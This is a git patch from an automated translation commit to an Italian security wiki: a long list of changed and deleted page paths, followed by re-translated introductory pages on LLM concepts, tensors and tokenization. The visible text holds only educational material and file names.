From 2baa5ed8ff208c0cd790a10caa713e489de3185b Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 8 Jul 2025 13:05:41 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- src/1911-pentesting-fox.md | 29 - src/6881-udp-pentesting-bittorrent.md | 3 - .../0.-basic-llm-concepts.md | 20 +- src/AI/AI-llm-architecture/1.-tokenizing.md | 83 +-- .../AI-llm-architecture/2.-data-sampling.md | 7 +- .../3.-token-embeddings.md | 13 +- .../4.-attention-mechanisms.md | 33 +- .../5.-llm-architecture.md | 53 +- .../6.-pre-training-and-loading-models.md | 27 +- .../7.0.-lora-improvements-in-fine-tuning.md | 4 + .../7.1.-fine-tuning-for-classification.md | 30 +- ...7.2.-fine-tuning-to-follow-instructions.md | 22 +- src/AI/AI-llm-architecture/README.md | 8 +- src/SUMMARY.md | 30 +- src/android-forensics.md | 27 - src/backdoors/icmpsh.md | 25 - src/backdoors/salseo.md | 158 ----- .../arbitrary-write-2-exec/README.md | 4 +- src/binary-exploitation/ios-exploiting.md | 37 +- src/binary-exploitation/libc-heap/README.md | 45 +- src/burp-suite.md | 19 - .../cryptographic-algorithms/README.md | 26 +- src/cryptography/certificates.md | 157 ----- .../cipher-block-chaining-cbc-mac-priv.md | 55 -- src/cryptography/crypto-ctfs-tricks.md | 271 --------- src/cryptography/electronic-code-book-ecb.md | 68 --- .../hash-length-extension-attack.md | 38 -- src/cryptography/padding-oracle-priv.md | 102 ---- src/cryptography/rc4-encrypt-and-decrypt.md | 15 - src/emails-vulns.md | 9 - .../linux-exploiting-basic-esp/README.md | 542 ------------------ .../linux-exploiting-basic-esp/fusion.md | 60 -- src/exploiting/tools/README.md | 210 ------- src/exploiting/tools/pwntools.md | 146 ----- ...windows-exploiting-basic-guide-oscp-lvl.md | 237 -------- .../basic-forensic-methodology/README.md | 82 --- .../anti-forensic-techniques.md | 151 ----- .../docker-forensics.md | 96 ---- .../file-integrity-monitoring.md | 26 - .../linux-forensics.md | 370 ------------ .../malware-analysis.md | 154 ----- .../memory-dump-analysis/README.md | 37 -- .../partitions-file-systems-carving/README.md | 234 -------- .../file-data-carving-recovery-tools.md | 87 --- .../file-data-carving-tools.md | 64 --- .../pcap-inspection/README.md | 212 ------- .../usb-keyboard-pcap-analysis.md | 14 - .../pcap-inspection/usb-keystrokes.md | 17 - .../pcap-inspection/wifi-pcap-analysis.md | 39 -- .../.pyc.md | 202 ------- .../README.md | 41 -- .../browser-artifacts.md | 162 ------ .../desofuscation-vbs-cscript.exe.md | 42 -- .../local-cloud-storage.md | 97 ---- .../office-file-analysis.md | 18 - .../pdf-file-analysis.md | 20 - .../png-tricks.md | 9 - .../video-and-audio-file-analysis.md | 17 - .../zips-tricks.md | 21 - .../windows-forensics/README.md | 498 ---------------- .../interesting-windows-registry-keys.md | 101 ---- .../windows-forensics/windows-processes.md | 106 ---- .../windows-forensics/README.md | 64 +-- .../interesting-windows-registry-keys.md | 26 +- .../threat-modeling.md | 49 +- src/images/cyberhelmets-logo.png | Bin 16067 -> 16315 bytes src/interesting-http.md | 35 -- .../useful-linux-commands/README.md | 297 ---------- .../bypass-bash-restrictions.md | 319 ----------- .../privilege-escalation/exploiting-yum.md | 23 - .../interesting-groups-linux-pe.md | 140 ----- .../macos-function-hooking.md | 338 ----------- src/misc/references.md | 95 --- .../exploiting-content-providers.md | 30 +- .../623-udp-ipmi.md | 14 +- .../8086-pentesting-influxdb.md | 13 +- .../9001-pentesting-hsqldb.md | 22 +- .../pentesting-postgresql.md | 59 +- .../pentesting-smb.md | 532 ----------------- .../pentesting-web/angular.md | 80 +-- .../pentesting-web/django.md | 6 +- .../pentesting-web/gwt-google-web-toolkit.md | 1 - .../pentesting-web/nodejs-express.md | 6 +- src/online-platforms-with-api.md | 121 ---- src/other-web-tricks.md | 41 -- src/pentesting-dns.md | 9 - src/pentesting-web/ldap-injection.md | 6 +- src/pentesting-web/parameter-pollution.md | 43 +- .../postmessage-vulnerabilities/README.md | 24 +- src/pentesting-web/rsql-injection.md | 18 +- src/pentesting-web/saml-attacks/README.md | 36 +- src/pentesting-web/sql-injection/sqlmap.md | 120 ++-- .../xss-cross-site-scripting/README.md | 96 ++-- .../debugging-client-side-js.md | 6 +- .../escaping-from-gui-applications/README.md | 49 -- .../firmware-analysis/README.md | 240 -------- .../firmware-analysis/bootloader-testing.md | 52 -- .../firmware-analysis/firmware-integrity.md | 35 -- src/physical-attacks/physical-attacks.md | 57 -- src/post-exploitation.md | 16 - src/radio-hacking/README.md | 1 - .../low-power-wide-area-network.md | 16 - .../pentesting-ble-bluetooth-low-energy.md | 65 --- src/radio-hacking/pentesting-rfid.md | 99 ---- .../arbitrary-write-2-exec/README.md | 1 - .../aw2exec-__malloc_hook.md | 25 - .../arbitrary-write-2-exec/aw2exec-got-plt.md | 64 --- .../aws2exec-.dtors-and-.fini_array.md | 41 -- .../README.md | 29 - .../aslr/README.md | 157 ----- .../aslr/ret2plt.md | 78 --- .../no-exec-nx.md | 16 - .../pie/README.md | 32 -- .../pie/bypassing-canary-and-pie.md | 84 --- .../relro.md | 31 - .../stack-canaries/README.md | 70 --- .../bf-forked-stack-canaries.md | 218 ------- .../stack-canaries/print-stack-canary.md | 28 - .../common-exploiting-problems.md | 36 -- .../linux-exploiting-basic-esp/elf-tricks.md | 382 ------------ .../format-strings/README.md | 150 ----- .../format-strings/format-strings-template.md | 140 ----- .../linux-exploiting-basic-esp/one-gadget.md | 20 - .../stack-overflow/README.md | 89 --- .../stack-overflow/pointer-redirecting.md | 29 - .../stack-overflow/ret2csu.md | 76 --- .../stack-overflow/ret2dlresolve.md | 65 --- .../stack-overflow/ret2esp-ret2reg.md | 62 -- .../stack-overflow/ret2lib/README.md | 129 ----- .../rop-leaking-libc-address/README.md | 273 --------- .../rop-leaking-libc-template.md | 211 ------- .../stack-overflow/ret2ret.md | 33 -- .../stack-overflow/ret2win.md | 91 --- .../rop-return-oriented-programing.md | 176 ------ .../stack-overflow/rop-syscall-execv.md | 185 ------ .../srop-sigreturn-oriented-programming.md | 62 -- .../stack-pivoting-ebp2ret-ebp-chaining.md | 178 ------ .../stack-overflow/stack-shellcode.md | 89 --- .../cryptographic-algorithms/README.md | 20 +- .../unpacking-binaries.md | 24 - src/reversing/reversing-tools/blobrunner.md | 208 ------- ...itive-information-disclosure-from-a-web.md | 13 - src/stego/esoteric-languages.md | 65 --- src/stego/stego-tricks.md | 194 ------- src/todo/6881-udp-pentesting-bittorrent.md | 3 - .../fault_injection_attacks.md | 6 +- .../hardware-hacking/side_channel_analysis.md | 6 +- .../README.md | 6 +- .../modbus.md | 8 +- src/todo/investment-terms.md | 20 +- src/todo/pentesting-dns.md | 9 - src/todo/radio-hacking/README.md | 4 +- .../radio-hacking/fissure-the-rf-framework.md | 40 +- src/todo/references.md | 95 --- src/todo/rust-basics.md | 6 +- src/todo/test-llms.md | 10 +- src/todo/tr-069.md | 1 - src/windows-hardening/cobalt-strike.md | 31 +- .../credentials-protections.md | 23 +- .../named-pipe-client-impersonation.md | 2 - .../sedebug-+-seimpersonate-copy-token.md | 2 + .../uac-user-account-control.md | 190 ------ theme/ht_searcher.js | 13 +- 163 files changed, 740 insertions(+), 12438 deletions(-) delete mode 100644 src/1911-pentesting-fox.md delete mode 100644 src/6881-udp-pentesting-bittorrent.md delete mode 100644 src/android-forensics.md delete mode 100644 src/backdoors/icmpsh.md delete mode 100644 src/backdoors/salseo.md delete mode 100644 src/burp-suite.md delete mode 100644 src/cryptography/certificates.md delete mode 100644 src/cryptography/cipher-block-chaining-cbc-mac-priv.md delete mode 100644 src/cryptography/crypto-ctfs-tricks.md delete mode 100644 src/cryptography/electronic-code-book-ecb.md delete mode 100644 src/cryptography/hash-length-extension-attack.md delete mode 100644 src/cryptography/padding-oracle-priv.md delete mode 100644 src/cryptography/rc4-encrypt-and-decrypt.md delete mode 100644 src/emails-vulns.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/README.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/fusion.md delete mode 100644 src/exploiting/tools/README.md delete mode 100644 src/exploiting/tools/pwntools.md delete mode 100644 src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md delete mode 100644 src/forensics/basic-forensic-methodology/README.md delete mode 100644 src/forensics/basic-forensic-methodology/anti-forensic-techniques.md delete mode 100644 src/forensics/basic-forensic-methodology/docker-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/file-integrity-monitoring.md delete mode 100644 src/forensics/basic-forensic-methodology/linux-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/malware-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/README.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/README.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md delete mode 100644 src/interesting-http.md delete mode 100644 src/linux-hardening/useful-linux-commands/README.md delete mode 100644 src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md delete mode 100644 src/linux-unix/privilege-escalation/exploiting-yum.md delete mode 100644 src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md delete mode 100644 src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md delete mode 100644 src/misc/references.md delete mode 100644 src/network-services-pentesting/pentesting-smb.md delete mode 100644 src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md delete mode 100644 src/online-platforms-with-api.md delete mode 100644 src/other-web-tricks.md delete mode 100644 src/pentesting-dns.md delete mode 100644 src/physical-attacks/escaping-from-gui-applications/README.md delete mode 100644 src/physical-attacks/firmware-analysis/README.md delete mode 100644 src/physical-attacks/firmware-analysis/bootloader-testing.md delete mode 100644 src/physical-attacks/firmware-analysis/firmware-integrity.md delete mode 100644 src/physical-attacks/physical-attacks.md delete mode 100644 src/post-exploitation.md delete mode 100644 src/radio-hacking/README.md delete mode 100644 src/radio-hacking/low-power-wide-area-network.md delete mode 100644 src/radio-hacking/pentesting-ble-bluetooth-low-energy.md delete mode 100644 src/radio-hacking/pentesting-rfid.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md delete mode 100644 src/reversing/cryptographic-algorithms/unpacking-binaries.md delete mode 100644 src/reversing/reversing-tools/blobrunner.md delete mode 100644 src/stealing-sensitive-information-disclosure-from-a-web.md delete mode 100644 src/stego/esoteric-languages.md delete mode 100644 src/stego/stego-tricks.md delete mode 100644 src/todo/6881-udp-pentesting-bittorrent.md delete mode 100644 src/todo/pentesting-dns.md delete mode 100644 src/todo/references.md delete mode 100644 src/todo/tr-069.md delete mode 100644 src/windows-hardening/windows-security-controls/uac-user-account-control.md diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md deleted file mode 100644 index bc94eada0..000000000 --- a/src/1911-pentesting-fox.md +++ /dev/null @@ -1,29 +0,0 @@ -# 1911 - Pentesting fox - -{{#include ./banners/hacktricks-training.md}} - -E altri servizi: - -ubiquiti-discover udp "Dispositivo Ubiquiti Networks" - -dht udp "Nodi DHT" - -5060 udp sip "SIP/" - -![]() - -![]() - -InfluxDB - -![]() - -![]() - -![]() - -![]() - -![]() - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/6881-udp-pentesting-bittorrent.md b/src/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index 070c6aef8..000000000 --- a/src/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 3460aa28f..c01f66abb 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,12 +1,14 @@ # 0. Concetti di base sugli LLM +{{#include /banners/hacktricks-training.md}} + ## Pretraining -Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture fondamentali, i modelli e le sfumature del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello pre-addestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su set di dati specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza nelle applicazioni mirate. +Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture fondamentali, i modelli e le sfumature del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello preaddestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su dataset specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza in applicazioni mirate. ## Componenti principali degli LLM -Di solito, un LLM è caratterizzato dalla configurazione utilizzata per addestrarlo. Questi sono i componenti comuni durante l'addestramento di un LLM: +Di solito, un LLM è caratterizzato dalla configurazione utilizzata per addestrarlo. Questi sono i componenti comuni quando si addestra un LLM: - **Parametri**: I parametri sono i **pesi e i bias apprendibili** nella rete neurale. Questi sono i numeri che il processo di addestramento regola per minimizzare la funzione di perdita e migliorare le prestazioni del modello sul compito. Gli LLM di solito utilizzano milioni di parametri. - **Lunghezza del contesto**: Questa è la lunghezza massima di ciascuna frase utilizzata per pre-addestrare l'LLM. @@ -32,25 +34,25 @@ GPT_CONFIG_124M = { In PyTorch, un **tensor** è una struttura dati fondamentale che funge da array multidimensionale, generalizzando concetti come scalari, vettori e matrici a dimensioni potenzialmente superiori. I tensori sono il modo principale in cui i dati sono rappresentati e manipolati in PyTorch, specialmente nel contesto dell'apprendimento profondo e delle reti neurali. -### Concetto Matematico di Tensors +### Mathematical Concept of Tensors - **Scalari**: Tensors di rango 0, che rappresentano un singolo numero (zero-dimensionale). Come: 5 - **Vettori**: Tensors di rango 1, che rappresentano un array unidimensionale di numeri. Come: \[5,1] - **Matrici**: Tensors di rango 2, che rappresentano array bidimensionali con righe e colonne. Come: \[\[1,3], \[5,2]] - **Tensors di Rango Superiore**: Tensors di rango 3 o superiore, che rappresentano dati in dimensioni superiori (ad esempio, tensori 3D per immagini a colori). -### Tensors come Contenitori di Dati +### Tensors as Data Containers Da una prospettiva computazionale, i tensori agiscono come contenitori per dati multidimensionali, dove ogni dimensione può rappresentare diverse caratteristiche o aspetti dei dati. Questo rende i tensori altamente adatti per gestire set di dati complessi in compiti di machine learning. -### Tensors di PyTorch vs. Array NumPy +### PyTorch Tensors vs. NumPy Arrays -Sebbene i tensori di PyTorch siano simili agli array NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per l'apprendimento profondo: +Sebbene i tensori di PyTorch siano simili agli array di NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per l'apprendimento profondo: - **Differenziazione Automatica**: I tensori di PyTorch supportano il calcolo automatico dei gradienti (autograd), il che semplifica il processo di calcolo delle derivate necessarie per l'addestramento delle reti neurali. - **Accelerazione GPU**: I tensori in PyTorch possono essere spostati e calcolati su GPU, accelerando significativamente i calcoli su larga scala. -### Creazione di Tensors in PyTorch +### Creating Tensors in PyTorch Puoi creare tensori utilizzando la funzione `torch.tensor`: ```python @@ -70,7 +72,7 @@ tensor2d = torch.tensor([[1, 2], tensor3d = torch.tensor([[[1, 2], [3, 4]], [[5, 6], [7, 8]]]) ``` -### Tipi di Dati Tensor +### Tipi di Dati dei Tensor I tensori PyTorch possono memorizzare dati di vari tipi, come interi e numeri in virgola mobile. @@ -283,3 +285,5 @@ Durante il backward pass: - **Efficienza:** Evita calcoli ridondanti riutilizzando risultati intermedi. - **Accuratezza:** Fornisce derivate esatte fino alla precisione della macchina. - **Facilità d'uso:** Elimina il calcolo manuale delle derivate. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index b66bc3c50..c990b8687 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,77 +1,79 @@ -# 1. Tokenizzazione +# 1. Tokenizing -## Tokenizzazione +{{#include /banners/hacktricks-training.md}} -**Tokenizzazione** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). +## Tokenizing + +**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). > [!TIP] > L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**. -### **Come Funziona la Tokenizzazione** +### **How Tokenizing Works** -1. **Suddivisione del Testo:** -- **Tokenizzatore di Base:** Un tokenizzatore semplice potrebbe suddividere il testo in singole parole e segni di punteggiatura, rimuovendo gli spazi. -- _Esempio:_\ -Testo: `"Ciao, mondo!"`\ -Token: `["Ciao", ",", "mondo", "!"]` -2. **Creazione di un Vocabolario:** -- Per convertire i token in ID numerici, viene creato un **vocabolario**. Questo vocabolario elenca tutti i token unici (parole e simboli) e assegna a ciascuno un ID specifico. -- **Token Speciali:** Questi sono simboli speciali aggiunti al vocabolario per gestire vari scenari: +1. **Splitting the Text:** +- **Basic Tokenizer:** Un tokenizer semplice potrebbe suddividere il testo in parole individuali e segni di punteggiatura, rimuovendo gli spazi. +- _Example:_\ +Testo: `"Hello, world!"`\ +Token: `["Hello", ",", "world", "!"]` +2. **Creating a Vocabulary:** +- Per convertire i token in ID numerici, viene creata una **vocabulario**. Questo vocabolario elenca tutti i token unici (parole e simboli) e assegna a ciascuno un ID specifico. +- **Special Tokens:** Questi sono simboli speciali aggiunti al vocabolario per gestire vari scenari: - `[BOS]` (Inizio Sequenza): Indica l'inizio di un testo. - `[EOS]` (Fine Sequenza): Indica la fine di un testo. - `[PAD]` (Padding): Usato per rendere tutte le sequenze in un batch della stessa lunghezza. - `[UNK]` (Sconosciuto): Rappresenta token che non sono nel vocabolario. -- _Esempio:_\ -Se `"Ciao"` è assegnato ID `64`, `","` è `455`, `"mondo"` è `78`, e `"!"` è `467`, allora:\ -`"Ciao, mondo!"` → `[64, 455, 78, 467]` -- **Gestione delle Parole Sconosciute:**\ -Se una parola come `"Addio"` non è nel vocabolario, viene sostituita con `[UNK]`.\ -`"Addio, mondo!"` → `["[UNK]", ",", "mondo", "!"]` → `[987, 455, 78, 467]`\ +- _Example:_\ +Se `"Hello"` è assegnato ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\ +`"Hello, world!"` → `[64, 455, 78, 467]` +- **Handling Unknown Words:**\ +Se una parola come `"Bye"` non è nel vocabolario, viene sostituita con `[UNK]`.\ +`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ _(Assumendo che `[UNK]` abbia ID `987`)_ -### **Metodi di Tokenizzazione Avanzati** +### **Advanced Tokenizing Methods** -Mentre il tokenizzatore di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi di tokenizzazione avanzati affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione. +Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione. 1. **Byte Pair Encoding (BPE):** -- **Scopo:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte frequentemente occorrenti. -- **Come Funziona:** +- **Purpose:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte che si verificano frequentemente. +- **How It Works:** - Inizia con caratteri individuali come token. - Unisce iterativamente le coppie di token più frequenti in un singolo token. - Continua fino a quando non ci sono più coppie frequenti da unire. -- **Vantaggi:** +- **Benefits:** - Elimina la necessità di un token `[UNK]` poiché tutte le parole possono essere rappresentate combinando token di sottoparola esistenti. - Vocabolario più efficiente e flessibile. -- _Esempio:_\ -`"giocando"` potrebbe essere tokenizzato come `["gioca", "ndo"]` se `"gioca"` e `"ndo"` sono sottoparole frequenti. +- _Example:_\ +`"playing"` potrebbe essere tokenizzato come `["play", "ing"]` se `"play"` e `"ing"` sono sottoparole frequenti. 2. **WordPiece:** -- **Usato Da:** Modelli come BERT. -- **Scopo:** Simile a BPE, suddivide le parole in unità di sottoparola per gestire parole sconosciute e ridurre la dimensione del vocabolario. -- **Come Funziona:** +- **Used By:** Modelli come BERT. +- **Purpose:** Simile a BPE, suddivide le parole in unità di sottoparola per gestire parole sconosciute e ridurre la dimensione del vocabolario. +- **How It Works:** - Inizia con un vocabolario di base di caratteri individuali. - Aggiunge iterativamente la sottoparola più frequente che massimizza la probabilità dei dati di addestramento. - Utilizza un modello probabilistico per decidere quali sottoparole unire. -- **Vantaggi:** +- **Benefits:** - Bilancia tra avere una dimensione del vocabolario gestibile e rappresentare efficacemente le parole. - Gestisce in modo efficiente parole rare e composte. -- _Esempio:_\ -`"infelicità"` potrebbe essere tokenizzato come `["in", "felicità"]` o `["in", "felice", "tà"]` a seconda del vocabolario. +- _Example:_\ +`"unhappiness"` potrebbe essere tokenizzato come `["un", "happiness"]` o `["un", "happy", "ness"]` a seconda del vocabolario. 3. **Unigram Language Model:** -- **Usato Da:** Modelli come SentencePiece. -- **Scopo:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile. -- **Come Funziona:** +- **Used By:** Modelli come SentencePiece. +- **Purpose:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile. +- **How It Works:** - Inizia con un ampio set di token potenziali. - Rimuove iterativamente i token che migliorano meno la probabilità del modello sui dati di addestramento. - Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili. -- **Vantaggi:** +- **Benefits:** - Flessibile e può modellare il linguaggio in modo più naturale. - Risultati spesso in tokenizzazioni più efficienti e compatte. -- _Esempio:_\ -`"internazionalizzazione"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["internazionale", "izzazione"]`. +- _Example:_\ +`"internationalization"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["international", "ization"]`. -## Esempio di Codice +## Code Example -Comprendiamo meglio questo attraverso un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): ```python # Download a text to pre-train the model import urllib.request @@ -93,3 +95,6 @@ print(token_ids[:50]) ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 7827eed82..69d3e4cb8 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,5 +1,7 @@ # 2. Campionamento Dati +{{#include /banners/hacktricks-training.md}} + ## **Campionamento Dati** Il **Campionamento Dati** è un processo cruciale nella preparazione dei dati per l'addestramento 